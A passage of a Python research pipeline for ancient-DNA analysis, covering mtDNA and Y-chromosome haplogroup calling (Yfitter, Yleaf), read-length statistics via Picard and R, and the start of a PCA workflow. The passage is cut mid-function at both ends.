line2.split(',', 3)\n                sc3b = sc3b.rstrip(\"\\n\")\n                if \"\\t\" in sc3b:\n                    sc3b, rest = sc3b.split('\\t', 1)\n                line3 = phyfiledata[first_index + 2]\n                line3 = line3.replace(' ', '')\n                line3 = line3.replace(\"'\", '')\n                line3 = line3.replace(\"[\", '')\n                line3 = line3.replace(\"]\", '')\n                hap3, sc1c, sc2c, sc3c = line3.split(',', 3)\n                sc3c = sc3c.rstrip(\"\\n\")\n                if \"\\t\" in sc3c:\n                    sc3c, rest = sc3c.split('\\t', 1)\n                line4 = phyfiledata[first_index + 3]\n                line4 = line4.replace(' ', '')\n                line4 = line4.replace(\"'\", '')\n                line4 = line4.replace(\"[\", '')\n                line4 = line4.replace(\"]\", '')\n                hap4, sc1d, sc2d, sc3d = line4.split(',', 3)\n                sc3d = sc3d.rstrip(\"\\n\")\n                if \"\\t\" in sc3d:\n                    sc3d, rest = sc3d.split('\\t', 1)\n                line5 = phyfiledata[first_index + 4]\n                line5 = line5.replace(' ', '')\n                line5 = line5.replace(\"'\", '')\n                line5 = line5.replace(\"[\", '')\n                line5 = line5.replace(\"]\", '')\n                hap5, sc1e, sc2e, sc3e = line5.split(',', 3)\n                sc3e = sc3e.rstrip(\"\\n\")\n                if \"\\t\" in sc3e:\n                    sc3e, rest = sc3e.split('\\t', 1)\n                if float(\n                        sc1) < score1cutoff:  ## Checking if score1 is lower than defined cutoff. Too low values have no proper accuracy\n                    pass\n                else:\n                    hapGeoList = open(\"/home/dfernandes/Software/PyScripts/mtDNAgeo.txt\", 'r')\n                    hapGeoListData = hapGeoList.readlines()\n                    hapGeoDict = {}\n                    for linha in hapGeoListData:\n                        # print(linha)\n                        hapGeo, sep, loc = linha.partition('\\t ')\n                        hapGeo = hapGeo.replace(\" \", \"\")\n                        loc = loc.rstrip('\\t\\n')\n                        hapGeoDict[hapGeo] = loc\n                    if hap in hapGeoDict:  ## Checking if main haplogroup has any geographic information available. If not, remove last letter/digit and check for the closest related haplogroup. Reduces up to a maximum of 4 letters/digits\n                        # print(\"A: \",hap, hapGeoDict[hap])\n                        print(\"\\t\\t\" + hap)\n                        fout.write(\"\\n\\t\\t\" + hap)\n                        geoLoc = hapGeoDict[hap]\n                    elif hap[:-1] in hapGeoDict:\n                        print(\"\\t\\tFrom \" + hap + \" to \" + hap[:-1])\n                        fout.write(\"\\n\\t\\tFrom \" + hap + \" to \" + hap[:-1])\n                        if hap[-1].isdigit() == True and hap[-2].isdigit() == True:\n                            continue\n                        else:\n                            # print(\"B: \",hap[:-1], hapGeoDict[hap[:-1]])\n                            geoLoc = hapGeoDict[hap[:-1]]\n                    elif hap[:-2] in hapGeoDict:\n                        print(\"\\t\\tFrom \" + hap + \" to \" + hap[:-2])\n                        fout.write(\"\\n\\t\\tFrom \" + hap + \" to \" + hap[:-2])\n                        if hap[-2].isdigit() == True and hap[-3].isdigit() == True:\n                            continue\n                        else:\n                            # print(\"C: \",hap[:-2], hapGeoDict[hap[:-2]])\n                            geoLoc = hapGeoDict[hap[:-2]]\n                    elif hap[:-3] in hapGeoDict:\n                        print(\"\\t\\tFrom \" + hap + \" to \" + hap[:-3])\n                        fout.write(\"\\n\\t\\tFrom \" + hap + \" to \" + hap[:-3])\n                        if hap[-3].isdigit() == True and hap[-4].isdigit() == True:\n                            continue\n                        else:\n                            # print(\"D: \",hap[:-3], hapGeoDict[hap[:-3]])\n                            geoLoc = hapGeoDict[hap[:-3]]\n                    elif hap[:-4] in hapGeoDict:\n                        print(\"\\t\\tFrom \" + hap + \" to \" + hap[:-4])\n                        fout.write(\"\\n\\t\\tFrom \" + hap + \" to \" + hap[:-4])\n                        if hap[-4].isdigit() == True and hap[-5].isdigit() == True:\n                            continue\n                        else:\n                            # print(\"E: \",hap[:-4], hapGeoDict[hap[:-4]])\n                            geoLoc = hapGeoDict[hap[:-4]]\n\n                    ## GEOLOC UNBOUNDLOCALERROR\n                    try:\n                        mtdnaout.write(\n                            \"\\n\" + sample_id + \"\\t\" + hap + \"\\t\" + geoLoc + \"\\t\" + sc3 + \"\\t\" + hap2 + \"\\t\" + sc3b + \"\\t\" + hap3 + \"\\t\" + sc3c + \"\\t\" + hap4 + \"\\t\" + sc3d + \"\\t\" + hap5 + \"\\t\" + sc3e)\n                    except UnboundLocalError:\n                        pass\n\n            except IndexError:\n                pass\n\n\ndef Yfitter(index_file, pos_file, tree_file, mergeLanes = True):\n    \"\"\"\n    Unfinished... But working!\n\n    :param index_file:\n    (string)    Path to reference indexed genome.\n\n    :param tree_file:\n    (string)    Path to mutation tree, provided with the software.\n\n    :param mergeLanes:\n    (boolean)   Merge info from reads from different lanes. NOTE: Current version does not work with \"mergeLanes = False\"!!\n\n    \"\"\"\n    os.chdir(originalWD)\n    cwd = os.getcwd()\n    print(\"\\n< Y HAPLOGROUPS - Checking for Y-chr haplogroups using Yfitter >\")\n    fout.write(\"\\n< Y HAPLOGROUPS - Checking for Y-chr haplogroups using Yfitter >\")\n\n    if mapDamageRescaleSim == 1:\n        fileExp = \"mapdamaged.bam$\"\n    elif mapDamageRescaleSim == 0 and seqtkSim == 1:\n        fileExp = \"seqtk.bam$\"\n    elif mapDamageRescaleSim == 0 and seqtkSim == 0:\n        fileExp = \"q30.rmdup.bam$\"\n\n    ## Checking if any target file exists, otherwise, quit\n    #check = any(fileExp == i[-14:] for i in os.listdir(cwd))\n    check = any(re.search(fileExp,i[-len(fileExp):]) for i in os.listdir(cwd))\n    if check == False:\n        quit()\n    if check == True:\n        pass\n\n    ## Checking if folder yfitter exists, otherwise, create it\n    if 'yfitter' in os.listdir(cwd):\n        pass\n    else:\n        newdir = cwd + '/' + \"yfitter\"\n        os.mkdir(newdir)\n    cwdY = cwd + \"/yfitter\"\n\n    # NEW CODE!\n    # DEBUGGING-Empty .bcf files might require the addition of flag \"-A\" to samtools mpielup command\n\n    ## Extracts Y chromosome reads\n    for i in os.listdir(cwd):\n        if '.q30.rmdup.bam' == i[-14:]:\n            sample_id, sep, rest = i.partition('.q30')\n            print('\\nsamtools view -b -h ' + i + ' chrY > ' + cwdY + '/' + sample_id + '_Y.bam')\n            os.system('samtools view -b -h ' + i + ' chrY > ' + cwdY + '/' + sample_id + '_Y.bam')\n\n    os.chdir(cwdY)\n    for i in os.listdir(cwdY):\n        if '_Y.bam' == i[-6:]:\n            sample_id, sep, rest = i.partition('_Y.bam')\n            ## Merge lanes if mergeLanes = True\n            if mergeLanes == True:\n                print('grep -v \"^@RG\" | sed \"s/\\\\tRG:Z:[^\\\\t]*//\" | samtools view - bo \\n')\n                print(\"samtools view -h \" + cwdY + '/' + sample_id + '_Y.bam' + ' | grep -v \"^@RG\" | sed \"s/\\\\tRG:Z:[^\\\\t]*//\" | samtools view -bo ' + cwdY + '/' + sample_id + '_Ymer.bam')\n                os.system(\"samtools view -h \" + cwdY + '/' + sample_id + '_Y.bam' + ' | grep -v \"^@RG\" | sed \"s/\\\\tRG:Z:[^\\\\t]*//\" | samtools view -bo ' + cwdY + '/' + sample_id + '_Ymer.bam')\n            if mergeLanes == True:\n                samplePath = cwdY + '/' + sample_id + '_Ymer.bam'\n            elif mergeLanes == False:\n                samplePath = cwdY + '/' + sample_id + '_Y.bam'\n\n            ## View/call all chrY genotypes\n            print('\\nsamtools mpileup -gf ' + index_file + ' ' + samplePath + ' > ' + cwdY + '/' + sample_id + '_Ys.bcf')\n            os.system('samtools mpileup -gf ' + index_file + ' ' + samplePath + ' > ' + cwdY + '/' + sample_id + '_Ys.bcf')\n            ## Index BCF file for call\n            print('\\nbcftools index ' + cwdY + '/' + sample_id + '_Ys.bcf')\n            os.system('bcftools index ' + cwdY + '/' + sample_id + '_Ys.bcf')\n            ## View/call defining genotypes\n            ## NOTE: Currently using \"view\", but it might become useless in a few versions, being replaced by \"call\"\n            print('\\nbcftools view -R ' + pos_file + '.pos ' + cwdY + '/' + sample_id + '_Ys.bcf > ' + cwdY + '/' + sample_id + '_infosites.vcf')\n            os.system('bcftools view -R ' + pos_file + '.pos ' + cwdY + '/' + sample_id + '_Ys.bcf > ' + cwdY + '/' + sample_id + '_infosites.vcf')\n            ## Checks whether \"infosites.vcf\" file is of size 0, and if so skips next steps and use of Yfitter\n\n            #REMOVE AFTER\n            # sample_id = \"M54A\"\n            # print(cwdY + '/' + sample_id + '_infosites.vcf')\n\n            if os.path.getsize(cwdY + '/' + sample_id + '_infosites.vcf') != 0:\n                ## Convert VCF to QCALL\n                qcallOutPath = cwdY + '/' + sample_id + '_infosites.Qcall'\n                qcallOut = open(qcallOutPath, \"w\")\n                with open(cwdY + '/' + sample_id + '_infosites.vcf') as inVcf:\n                    for line in inVcf:\n                        if line[0] == \"#\":\n                            pass\n                        elif line[0] != \"#\":\n                            #print(line)\n                            #print(line.split()[3])\n                            #print(line.split()[4])\n                            #print(line.split()[5])\n                            if \"INDEL\" in line:\n                                pass\n                            elif \"DP=\" in line:\n                                bases = line.split()[3:5]\n                                #print(bases)\n                                #print(len(bases))\n                                #print(\"AAA\", bases[len(bases) - 1].split(\",\"))\n                                #print(\"AAA\", bases[len(bases) - 1].split(\",\")[0])\n                                if \",\" in bases[1]:\n                                    #print(\"BBB\", bases[len(bases) - 1].split(\",\")[0])\n                                    bases[len(bases) - 1] = bases[len(bases) - 1].split(\",\")[0]\n                                if bases[len(bases)-1] == \"*\" or bases[len(bases)-1] == \"<*>\":\n                                    bases = bases[0:len(bases)-1]\n                                if len(bases[0]) > 1:\n                                    pass\n                                elif len(bases[0]) == 1:\n                                    #print(bases)\n                                    outLine = []\n                                    outLine.append(line.split()[0])\n                                    outLine.append(line.split()[1])\n                                    outLine.append(line.split()[3])\n                                    outLine.append(line.split()[7].split(\";\")[0].split(\"DP=\")[1])\n                                    outLine.append(\"37\")\n                                    outLine.append(\"0\")\n                                    #print(outLine)\n                                    likes = line.split()[9].split(\",\")\n                                    #print(likes)\n                                    if len(bases) == 1:\n                                        #print(\"PartA\")\n                                        if bases[0] == \"A\":\n                                            outLine.append(likes[0])\n                                            outLine.append(likes[1])\n                                            outLine.append(likes[1])\n                                            outLine.append(likes[1])\n                                            outLine.append(likes[2])\n                                            outLine.append(likes[2])\n                                            outLine.append(likes[2])\n                                            outLine.append(likes[2])\n                                            outLine.append(likes[2])\n                                            outLine.append(likes[2])\n                                        if bases[0] == \"C\":\n                                            outLine.append(likes[2])\n                                            outLine.append(likes[1])\n                                            outLine.append(likes[2])\n                                            outLine.append(likes[2])\n                                            outLine.append(likes[0])\n                                            outLine.append(likes[1])\n                                            outLine.append(likes[1])\n                                            outLine.append(likes[2])\n                                            outLine.append(likes[2])\n                                            outLine.append(likes[2])\n                                        if bases[0] == \"G\":\n                                            outLine.append(likes[2])\n                                            outLine.append(likes[2])\n                                            outLine.append(likes[1])\n                                            outLine.append(likes[2])\n                                            outLine.append(likes[2])\n                                            outLine.append(likes[1])\n                                            outLine.append(likes[2])\n                                            outLine.append(likes[0])\n                                            outLine.append(likes[1])\n                                            outLine.append(likes[2])\n                                        if bases[0] == \"T\":\n                                            outLine.append(likes[2])\n                                            outLine.append(likes[2])\n                                            outLine.append(likes[2])\n                                            outLine.append(likes[1])\n                                            outLine.append(likes[2])\n                                            outLine.append(likes[2])\n                                            outLine.append(likes[1])\n                                            outLine.append(likes[2])\n                                            outLine.append(likes[1])\n                                            outLine.append(likes[0])\n                                    elif len(bases) == 2:\n                                        #print(\"PartB\")\n                                        #likes = likes[0:3]\n                                        #print(likes)\n                                        if bases[0] == \"A\":\n                                            if bases[1] == \"C\":\n                                                outLine.append(likes[0])\n                                                outLine.append(likes[1])\n                                                outLine.append(likes[3])\n                                                outLine.append(likes[3])\n                                                outLine.append(likes[2])\n                                                outLine.append(likes[4])\n                                                outLine.append(likes[4])\n                                                outLine.append(likes[5])\n                                                outLine.append(likes[5])\n                                                outLine.append(likes[5])\n                                            if bases[1] == \"G\":\n                                                outLine.append(likes[0])\n                                                outLine.append(likes[3])\n                                                outLine.append(likes[1])\n                                                outLine.append(likes[3])\n                                                outLine.append(likes[5])\n                                                outLine.append(likes[4])\n                                                outLine.append(likes[5])\n                                                outLine.append(likes[2])\n                                                outLine.append(likes[4])\n                                                outLine.append(likes[5])\n                                            if bases[1] == \"T\":\n                                                outLine.append(likes[0])\n                                                outLine.append(likes[3])\n                                                outLine.append(likes[3])\n                                                outLine.append(likes[1])\n                                                outLine.append(likes[5])\n                                                outLine.append(likes[5])\n                                                outLine.append(likes[4])\n                                                outLine.append(likes[5])\n                                                outLine.append(likes[4])\n                                                outLine.append(likes[2])\n                                        if bases[0] == \"C\":\n                                            if bases[1] == \"A\":\n                                                outLine.append(likes[2])\n                                                outLine.append(likes[1])\n                                                outLine.append(likes[4])\n                                                outLine.append(likes[4])\n                                                outLine.append(likes[0])\n                                                outLine.append(likes[3])\n                                                outLine.append(likes[3])\n                                                outLine.append(likes[5])\n                                                outLine.append(likes[5])\n                                                outLine.append(likes[5])\n                                            if bases[1] == \"G\":\n                                                outLine.append(likes[5])\n                                                outLine.append(likes[3])\n                                                outLine.append(likes[4])\n                                                outLine.append(likes[5])\n                                                outLine.append(likes[0])\n                                                outLine.append(likes[1])\n                                                outLine.append(likes[3])\n                                                outLine.append(likes[2])\n                                                outLine.append(likes[4])\n                                                outLine.append(likes[5])\n                                            if bases[1] == \"T\":\n                                                outLine.append(likes[5])\n                                                outLine.append(likes[3])\n                                                outLine.append(likes[5])\n                                                outLine.append(likes[4])\n                                                outLine.append(likes[0])\n                                                outLine.append(likes[3])\n                                                outLine.append(likes[1])\n                                                outLine.append(likes[5])\n                                                outLine.append(likes[4])\n                                                outLine.append(likes[2])\n                                        if bases[0] == \"G\":\n                                            if bases[1] == \"A\":\n                                                outLine.append(likes[2])\n                                                outLine.append(likes[4])\n                                                outLine.append(likes[1])\n                                                outLine.append(likes[4])\n                                                outLine.append(likes[5])\n                                                outLine.append(likes[3])\n                                                outLine.append(likes[5])\n                                                outLine.append(likes[0])\n                                                outLine.append(likes[3])\n                                                outLine.append(likes[5])\n                                            if bases[1] == \"C\":\n                                                outLine.append(likes[5])\n                                                outLine.append(likes[4])\n                                                outLine.append(likes[3])\n                                                outLine.append(likes[5])\n                                                outLine.append(likes[2])\n                                                outLine.append(likes[1])\n                                                outLine.append(likes[4])\n                                                outLine.append(likes[0])\n                                                outLine.append(likes[3])\n                                                outLine.append(likes[5])\n                                            if bases[1] == \"T\":\n                                                outLine.append(likes[5])\n                                                outLine.append(likes[5])\n                                                outLine.append(likes[3])\n                                                outLine.append(likes[4])\n                                                outLine.append(likes[5])\n                                                outLine.append(likes[3])\n                                                outLine.append(likes[4])\n                                                outLine.append(likes[0])\n                                                outLine.append(likes[1])\n                                                outLine.append(likes[2])\n                                        if bases[0] == \"T\":\n                                            if bases[1] == \"A\":\n                                                outLine.append(likes[2])\n                                                outLine.append(likes[4])\n                                                outLine.append(likes[4])\n                                                outLine.append(likes[1])\n                                                outLine.append(likes[5])\n                                                outLine.append(likes[5])\n                                                outLine.append(likes[3])\n                                                outLine.append(likes[5])\n                                                outLine.append(likes[3])\n                                                outLine.append(likes[0])\n                                            if bases[1] == \"C\":\n                                                outLine.append(likes[5])\n                                                outLine.append(likes[4])\n                                                outLine.append(likes[5])\n                                                outLine.append(likes[3])\n                                                outLine.append(likes[2])\n                                                outLine.append(likes[4])\n                                                outLine.append(likes[1])\n                                                outLine.append(likes[5])\n                                                outLine.append(likes[3])\n                                                outLine.append(likes[0])\n                                            if bases[1] == \"G\":\n                                                outLine.append(likes[5])\n                                                outLine.append(likes[5])\n                                                outLine.append(likes[4])\n                                                outLine.append(likes[3])\n                                                outLine.append(likes[5])\n                                                outLine.append(likes[4])\n                                                outLine.append(likes[3])\n                                                outLine.append(likes[2])\n                                                outLine.append(likes[1])\n                                                outLine.append(likes[0])\n                                    outLine.append(sample_id)\n                                    qcallOut.write(\"\\t\".join(outLine))\n                                    qcallOut.write(\"\\n\")\n                qcallOut.close()\n                ## Run Yfitter\n                print('\\nYfitter ' + tree_file + '.xml ' + cwdY + '/' + sample_id + '_infosites.Qcall > ' + cwdY + '/' + sample_id + '_Yfitter')\n                os.system('Yfitter ' + tree_file + '.xml ' + cwdY + '/' + sample_id + '_infosites.Qcall > ' + cwdY + '/' + sample_id + '_Yfitter')\n\n\ndef yleaf(refPath, refVersion, minReadThres = 1, minQualThres = 20, minPercBaseAgreementThres = 90, numThreads = 1):\n    \"\"\"\n    Predicts Y chromosome haplogroups using Yleaf software (https://github.com/dmontielg/Yleaf).\n\n    :input:\n    foo.qxx.rmdup.bam\n\n    :param refPath:\n    (string)    Path to reference indexed genome.\n\n    :param refVersion:\n    (string)    Version of the reference genome to use (accepts \"hg19\", \"hg38\").\n\n    :param minReadThres:\n    (int)   Minimum number of reads per position (default = 1).\n\n    :param minQualThres:\n    (int)   Minimum accepted base quality (accepts values between 10 and 39) (default = 20).\n\n    :param minPercBaseAgreementThres:\n    (int)   Minimum percentage of allele agreement per position (default = 90).\n\n    :param numThreads:\n    (int)   Number of CPU threads to use (default = 1).\n\n    :return:\n    Yleaf (folder)\n        foo (folder)\n            foo.hg\n            foo.qxx.rmdup (folder)\n                foo.qxx.rmdup.chr\n                foo.qxx.rmdup.fmf\n                foo.qxx.rmdup.log\n                foo.qxx.rmdup.out\n    \"\"\"\n    os.chdir(originalWD)\n    cwd = os.getcwd()\n    print(\"\\n< Y LEAF - Estimating Y chromosome haplogroups >\")\n    fout.write(\"\\n< Y LEAF - Estimating Y chromosome haplogroups >\")\n\n    newdir = cwd + '/' + \"yleaf\"\n    if 'yleaf' in os.listdir(cwd):\n        shutil.rmtree(newdir)\n\n    os.mkdir(newdir)\n    cwdY = cwd + \"/yleaf\"\n\n    ## Find Yleaf's working folder and define position file (working for Linux Mint)\n    positionFileLoc = os.popen(\"whereis Yleaf\").read().split(\" \")[1].rsplit(r\"/\",1)[0] + \"/Position_files/\"+refVersion+\".txt\"\n\n    ## Main loop\n    for i in os.listdir(cwd):\n        if re.search('\\.q\\d\\d\\.rmdup\\.bam$', i) != None:\n            print(i)\n            sample_id, sep, rest = i.partition('.q30')\n            ## Always delete existing Yleaf sample folder in order to avoid software prompt\n            if sample_id +'_yleaf' in os.listdir(cwd):\n                shutil.rmtree(sample_id +'_yleaf')\n                input(\"Removed folder\")\n            print(\"Yleaf.py -bam \" + i + \" -f \" + refPath + \" -pos \" + positionFileLoc + \" -out \" + sample_id + \"_yleaf -r \" + str(minReadThres) + \" -q \" + str(minQualThres) + \" -b \" + str(minPercBaseAgreementThres) + \" -t \" + str(numThreads))\n            os.system(\"Yleaf.py -bam \" + i + \" -f \" + refPath + \" -pos \" + positionFileLoc + \" -out \" + sample_id + \"_yleaf -r \" + str(minReadThres) + \" -q \" + str(minQualThres) + \" -b \" + str(minPercBaseAgreementThres) + \" -t \" + str(numThreads))\n            fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + '\\tYleaf.py -bam ' + i + \" -f \" + refPath + \" -pos \" + positionFileLoc + \" -out \" + sample_id + \"_yleaf -r \" + str(minReadThres) + \" -q \" + str(minQualThres) + \" -b \" + str(minPercBaseAgreementThres) + \" -t \" + str(numThreads) + '\\n')\n\n    ## Move folders into \"yleaf\" folder\n    for i in os.listdir(cwd):\n        if re.search('_yleaf$', i) != None:\n            os.system('mv ' + i + ' ' + cwdY)\n\n    ## Exclude C>T and G>A sites and generate report (in R)\n    script = open(\"Yleaf_Batch_Read_Exclude_CTAG.R\", 'w')\n    script.write('setwd(\"')\n    script.write(cwdY)\n    script.write('\")\\n\\n')\n    script.write(\"summary_df = data.frame(Sample=character(),Ychr_Valid_Markers=character(),Ychr_Valid_Markers_NoCT_NoAG=character(),Ychr_Valid_Derived_Markers_NoCT_NoAG=character(),Most_Downstream_Haplogroup=character(),Total_Derived_Markers_For_Upstream_Major_Haplogroup=character(),stringsAsFactors=FALSE)\\n\")\n    script.write(\"\\nfor(i in list.dirs(recursive = F)) {\\n\")\n    script.write(\"\\tsubFolder = list.dirs(paste0(getwd(),substring(i,2)))[2]\\n\\t\")\n    script.write(r'sampleID = strsplit(subFolder,\"/\")[[1]][length(strsplit(subFolder,\"/\")[[1]])]')\n    script.write(\"\\n\\t\")\n    script.write(r'if(file.exists(paste0(subFolder,\"/\",sampleID,\".out\"))) {')\n    script.write(\"\\n\\t\\t\")\n    script.write(r'readIn = read.table(file = paste0(subFolder,\"/\",sampleID,\".out\"),header = T,stringsAsFactors = F)')\n    script.write('\\n\\t\\tvalidMarkers = length(readIn$marker_name)\\n\\t\\tcts = which(readIn$mutation == \"C->T\")\\n\\t\\tgas = which(readIn$mutation == \"G->A\")\\n\\t\\treadIn = readIn[-c(cts,gas),]\\n\\t\\t')\n    script.write(r'validMarkersNoCTAG = length(readIn$marker_name)')\n    script.write('\\n\\t\\t')\n    script.write(r'deriveds = readIn[which(readIn$state == \"D\"),]')\n    script.write('\\n\\t\\t')\n    script.write(r'validDerivedMarkersNoCTAG = length(deriveds$marker_name)')\n    script.write('\\n\\t\\t')\n    script.write(r'mostDownstreamHap = deriveds$haplogroup[length(deriveds$haplogroup)]')\n    script.write('\\n\\t\\t')\n    script.write(r'otherSameMajorDeriveds = length(which(substr(mostDownstreamHap,start = 1,stop = 1) == substr(deriveds$haplogroup,start = 1,stop=1)))')\n    script.write('\\n\\t\\tsample_row=c(sampleID,validMarkers,validMarkersNoCTAG,validDerivedMarkersNoCTAG,mostDownstreamHap,paste0(otherSameMajorDeriveds,\" (\",substr(mostDownstreamHap,start = 1,stop = 1),\")\"))\\n\\t\\t')\n    script.write('summary_df=rbind(summary_df,sample_row,stringsAsFactors = FALSE)\\n\\t\\t')\n    script.write(r'write.table(x = deriveds, file = paste0(subFolder,\"/\",sampleID,\".out_derived_NoCTAG\"), quote = F, sep = \"\\t\",row.names = F,col.names = T)')\n    script.write('\\n\\t} else {\\n\\t\\t')\n    script.write(r'sample_row=c(sampleID,NA,NA,NA,NA,paste0(NA,\" (\",NA,\")\"))')\n    script.write('\\n\\t\\tsummary_df=rbind(summary_df,sample_row,stringsAsFactors = FALSE)\\n\\t}\\n}\\ncolnames(summary_df) = c(\"Sample\",\"Ychr_Valid_Markers\",\"Ychr_Valid_Markers_NoCT_NoAG\",\"Ychr_Valid_Derived_Markers_NoCT_NoAG\",\"Most_Downstream_Haplogroup\",\"Total_Derived_Markers_(For_Upstream_Major_Haplogroup)\")\\n')\n    script.write(r'write.table(x = summary_df,file = paste0(paste0(strsplit(getwd(),\"/\")[[1]][1:length(strsplit(getwd(),\"/\")[[1]])-1],collapse = \"/\"), \"/Summary_Yleaf.txt\"), quote = F, col.names = T, row.names = F, sep=\"\\t\")')\n    script.close()\n\n    os.system(\"R CMD BATCH Yleaf_Batch_Read_Exclude_CTAG.R\")\n    fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\tR CMD BATCH Yleaf_Batch_Read_Exclude_CTAG.R\")\n    os.remove(cwd + \"/Yleaf_Batch_Read_Exclude_CTAG.R\")\n    os.remove(cwd + \"/Yleaf_Batch_Read_Exclude_CTAG.Rout\")\n\n\n\n\n\n\n\n\ndef readlengths():  ##Missing file_count error check\n    \"\"\"\n    (path) -> various_files\n\n    Analyzes average read length and standard deviation on '*q30.rmdup.bam' files using PICARDTOOLS and compiles the batched info with an R script.\n    Results output to \"Reads_Lengths.txt\".\n    Requires 'jarwrapper'.\n\n\n    Input:\n    foo.q30.rmdup.bam\n\n    Output:\n    foo.readlens.txt\n    Reads_Lengths.txt\n\n    Example:\n    >>> readlengths()\n    \"\"\"\n    os.chdir(originalWD)\n    cwd = os.getcwd()\n    print(\"\\n< READ_LENGTHS - Average read lengths >\")\n    fout.write(\"\\n< READ_LENGTHS - Average read lengths >\")\n\n    for i in os.listdir(cwd):\n        if '.rmdup.bam' == i[-10:]:\n            #sample_id, sep, rest = i.partition('.q30')\n            sample_id, rest = re.split('\\.q..', i)\n            print(\"\\t> Running read length analysis for sample: \" + sample_id)\n            os.system('picard.jar CollectQualityYieldMetrics ' + ' I=' + i + ' O=' + sample_id + '.readlens.txt')\n            print('picard.jar CollectQualityYieldMetrics ' + ' I= ' + i + ' O=' + sample_id + '.readlens.txt')\n            fout.write(\"\\t> Running read length analysis for sample: \" + sample_id)\n            fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + '\\tpicard.jar CollectQualityYieldMetrics ' + ' I= ' + i + ' O=' + sample_id + '.readlens.txt\\n')\n\n    script = open(\"read_lengths_batch.R\", 'w')\n    script.write('getwd()\\nsetwd(\"')\n    script.write(cwd)\n    script.write('\")')\n    script.write('\\nwdfiles=list.files(getwd())')\n    script.write(\"\\n\\nfinal_df = data.frame(Sample=character(),Mean_Length=character(),Standard_Deviation=character(),stringsAsFactors=FALSE)\")\n    script.write('\\n\\nfor(i in wdfiles) {\\n\\tif(grepl(\"readlens.txt$\",i)==TRUE) {\\n\\t\\tfil=file(i,open=\"rt\")\\n\\t\\tres=readLines(fil)')\n    script.write('\\n\\n\\t\\t## Get sample name\\n\\t\\tsample_id = strsplit(strsplit(strsplit(res[2],\" \")[[1]][3],\"=\")[[1]][2],\".q...rmdup.bam\")[[1]][1]')\n    script.write('\\n\\n\\t\\t## Get lengths\\n\\t\\tmean_len = strsplit(res[grep(pattern = \"^TOTAL_READS\", res)+1],')\n    script.write(r'\"\\\\\\t\")[[1]][3]')\n    script.write('\\n\\t\\tsample_row=c(sample_id,mean_len)\\n\\t\\tfinal_df=rbind(final_df,sample_row,stringsAsFactors = FALSE)\\n\\t\\tclose(fil)\\n\\t}\\n}\\n\\ncolnames(final_df) = c(\"Sample\",\"Mean_Length\")\\n\\n')\n    script.write(r'write.table(final_df,file=\"Read_Lenghts.txt\",sep=\"\\t\",quote=FALSE,row.names=FALSE)')\n    script.close()\n\n    os.system(\"R CMD BATCH read_lengths_batch.R &\")\n\n    print(\"\\n\\t> Read length analysis... Done!\")\n    fout.write(\"\\n\\t> Read length analysis... Done!\\n\\t-----\\n\")\n\n\ndef pca_lc(filePath, datasetFolder, mapFileDatasetPath, intervalListFile, indexGen=False, makepileup=True, minNumReadsPileup=15000, makeped=True,\n           pedfamily=False, makemap=True, conv2bin=True, mergeIt=True, reduceDSsnp=False, genoPlink=1,\n           reduceDSind=False, popList=None, PCAparamFile=True, plot=True):\n    \"\"\"\n    This pipeline processes input *.bam files to do PCA analysis using the 'smartpca' software. First, uses GATK to call the SNPs present in the given dataset.\n    Then it converts this into plink data, which is used to merge with the refernce dataset and proceed with the analysis.\n    Please carefully read the description of each parameter if you have any doubts or errors.\n\n    Input:\n    Foo.q30.rmdup.bam\n    intervalListFile\n\n    Output:\n    Foo.pileupgatk.haak2015.txt\n    Foo.ped\n    Foo.map\n    Foo.bed/bim/fam\n    Foomergedex.bed/bim/fam\n    Foomergedex.eigenstratgeno/ind/snp\n    Foomergedex.evec/eval\n\n    :param filePath:\n    (str)   File path to index genome used for the samples and datasets. To be used for new indexing step needed by GATK.\n\n    :param datasetFolder:\n    (str)   Path to the folder containing the dataset files. Note this is not the dataset name itself, just the folder.\n\n    :param mapFileDatasetPath:\n    (str)   Path to the *.bim file from the selected dataset.\n\n    :param intervalListFile:\n    (str)   Path to interval file listing the SNP positions of the dataset, to be used for creation of pileup file with GATK.\n\n    :param indexGen:\n    (boolean)   Index source genome with samtools faidx?\n\n    :param makepileup:\n    (boolean)   Create pileup files with GATK?\n\n    :param minNumReadsPileup:\n    (int)   Lower threshold of read numbers to allow Pileup\n\n    :param makeped:\n    (boolean)   Make PED files?\n\n    :param pedfamily:\n    (boolean)\n    (str)   Include PED family information for the samples analysed? Be aware all samples will have the same family ID. Must be a string, or set to pedFamily=False if not used.\n\n    :param makemap:\n    (boolean)   Make MAP files?\n\n    :param conv2bin:\n    (boolean)   Convert PED+MAP to binary BED+BIM+FAM?\n\n    :param mergeIt:\n    (boolean)   Merge dataset with sample?\n\n    :param reduceDSsnp:\n    (boolean)   Reduce dataset's SNPs to match those of your sample? Uses R to create a list of SNPs from the sample, and applies it to plink, reducing the dataset.\n\n    :param genoPlink:\n    (int)   Apply missing genotype rate SNP exclusion step. Default is 1, which includes all SNPs.\n\n    :param reduceDSind:\n    (boolean)\n    (str)   Use dataset with reduced populations/individuals? Must be a string with the name of the dataset (without file extenstions) if it is to be used, or set to reduceDSind=False if not used.\n    CAUTION: \"False\" parameter might broken code for now, always provide dataset to reduce\n\n    :param popList:\n    (str)   Path to population list for creation of PCA using smartpca. Default is popList=None.\n\n    :param PCAparamFile:\n    (boolean)   Create PCA parameter file?\n\n    :param plot:\n    (boolean)   Plot the PCAs?\n\n    :return:\n    \"\"\"\n\n    os.chdir(originalWD)\n    cwd = os.getcwd()\n    print(\"\\n< ROADTOPCA - Pipeline for creation of PCA plots from bam files >\")\n    fout.write(\"\\n< ROADTOPCA - Pipeline for creation of PCA plots from bam files >\")\n    cwdgen, sep, id = filePath.rpartition('/')\n\n    if indexGen == True:\n        cwdgen, sep, id = filePath.rpartition('/')\n        print(\"\\t> Indexing reference genome \" + \"'\" + id + \"'\" + \" in '\" + cwd + \"'...\")\n        os.system('samtools faidx ' + filePath)\n    elif indexGen == False:\n        pass\n\n    dataset = datasetFolder.rsplit(\"/\", 1)\n    dataset = dataset[1]\n    print(\"\\t> Dataset used:\", dataset)\n\n    mapFile = mapFileDatasetPath.rsplit(\"/\", 1)\n    mapFile = mapFile[1]\n\n\n    ## PILEUP conversion w/ GATK\n    if makepileup == True:\n        for i in os.listdir(cwd):\n            if '.rmdup.bam' == i[-10:]:\n                #sample_id, sep, rest = i.partition('.q30')\n                sample_id, rest = re.split('\\.q..', i)\n                bamlength = int(os.popen('samtools view -c ' + i).read())\n                print(\"\\n\\t> 